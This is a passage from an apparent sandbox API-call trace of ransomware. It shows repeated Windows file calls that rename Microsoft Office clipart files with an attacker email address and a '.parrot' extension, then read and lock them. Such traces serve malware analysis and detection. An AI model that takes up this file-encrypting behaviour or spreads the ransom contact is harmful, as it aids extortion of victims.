Office\\CLIPART\\PUB60COR\\HH01461_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.915] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1d98, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.915] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.915] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.917] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.917] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c80, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1c80, lpOverlapped=0x0) returned 1 [0130.918] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.918] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1d98, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.918] CloseHandle (hObject=0x27c) returned 1 [0130.918] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01618_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01618_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.921] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x163e, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.922] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.922] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.923] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.923] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1526, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1526, lpOverlapped=0x0) returned 1 [0130.924] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.924] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x163e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.924] CloseHandle (hObject=0x27c) returned 1 [0130.925] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01759_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01759_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.930] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb50, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.930] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.930] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.931] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.931] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa38, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa38, lpOverlapped=0x0) returned 1 [0130.932] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.932] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb50, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.932] CloseHandle (hObject=0x27c) returned 1 [0130.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.935] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x696a, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.935] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.935] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.936] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.937] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6852, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6852, lpOverlapped=0x0) returned 1 [0130.937] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.938] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x696a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.938] CloseHandle (hObject=0x27c) returned 1 [0130.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01923_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01923_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.941] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xba8, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.941] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.941] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.942] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.942] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa90, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa90, lpOverlapped=0x0) returned 1 [0130.942] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.943] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xba8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.943] CloseHandle (hObject=0x27c) returned 1 [0130.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02155_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02155_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.945] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x644, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.945] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.945] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.947] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.947] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x52c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x52c, lpOverlapped=0x0) returned 1 [0130.947] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.947] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x644, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.947] CloseHandle (hObject=0x27c) returned 1 [0130.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02166_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02166_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.950] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2014, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.950] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.950] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.952] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.952] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1efc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1efc, lpOverlapped=0x0) returned 1 [0130.953] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.953] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2014, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.953] CloseHandle (hObject=0x27c) returned 1 [0130.954] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.957] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16c8, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.957] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.957] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.958] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.958] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x15b0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x15b0, lpOverlapped=0x0) returned 1 [0130.959] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.959] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16c8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.959] CloseHandle (hObject=0x27c) returned 1 [0130.959] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.963] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1482, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.963] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.963] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.964] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.964] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x136a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x136a, lpOverlapped=0x0) returned 1 [0130.965] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.965] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1482, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.965] CloseHandle (hObject=0x27c) returned 1 [0130.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.968] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xd22, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.968] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.968] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.970] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.970] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc0a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xc0a, lpOverlapped=0x0) returned 1 [0130.970] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.971] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xd22, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.971] CloseHandle (hObject=0x27c) returned 1 [0130.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.984] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5c1c, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.984] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.984] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.986] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.986] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5b04, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5b04, lpOverlapped=0x0) returned 1 [0130.987] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.987] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5c1c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.987] CloseHandle (hObject=0x27c) returned 1 [0130.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.992] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x577c, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.992] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.992] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.994] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.994] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5664, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5664, lpOverlapped=0x0) returned 1 [0130.995] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.996] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x577c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.996] CloseHandle (hObject=0x27c) returned 1 [0130.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.999] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3f04, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.999] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.999] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.001] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.001] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3dec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3dec, lpOverlapped=0x0) returned 1 [0131.002] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.002] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3f04, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.002] CloseHandle (hObject=0x27c) returned 1 [0131.002] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.005] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xc28, nNumberOfBytesToLockHigh=0x0) returned 1 [0131.005] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0131.005] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0131.041] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.041] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb10, lpOverlapped=0x0) returned 1 [0131.041] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.042] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xc28, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0131.042] CloseHandle (hObject=0x27c) returned 1 [0131.042] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0131.056] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, 